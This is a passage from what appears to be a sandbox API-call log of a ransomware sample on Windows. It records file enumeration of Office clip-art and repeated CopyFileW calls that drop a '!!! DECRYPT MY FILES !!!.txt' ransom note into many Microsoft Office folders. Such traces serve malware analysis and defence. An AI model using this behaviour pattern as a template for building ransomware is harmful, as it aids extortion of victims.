ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0137.815] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0137.816] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0137.816] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe0a7b88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe0a7b88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe0a7b88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0138.052] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0138.059] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0138.064] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0138.069] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0138.074] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0139.697] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0139.704] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\fre\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\fre\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0139.712] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\integration\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0139.722] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.178] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\loc\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\loc\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.186] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.189] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\es-es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.192] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\fr-fr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.198] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.204] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.208] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\bibliography\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0143.241] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\dataservices\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.115] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.575] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.786] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.849] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1036\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.853] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\3082\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.858] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accessweb\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.866] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0149.871] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0150.106] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0152.597] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.065] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ar\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.088] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bg\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.091] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.127] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.147] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.206] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\da\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\da\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.504] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.510] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\el\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\el\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.542] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.618] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\et\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\et\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.624] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\eu\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\eu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0155.628] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fi\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.767] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\fr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\fr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.814] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\gl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.819] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.823] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.829] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.833] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.838] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.843] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\it\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\it\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.847] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.936] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\kk\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\kk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.942] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ko\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ko\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.946] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lt\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.951] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\lv\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\lv\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0157.955] CopyFileW 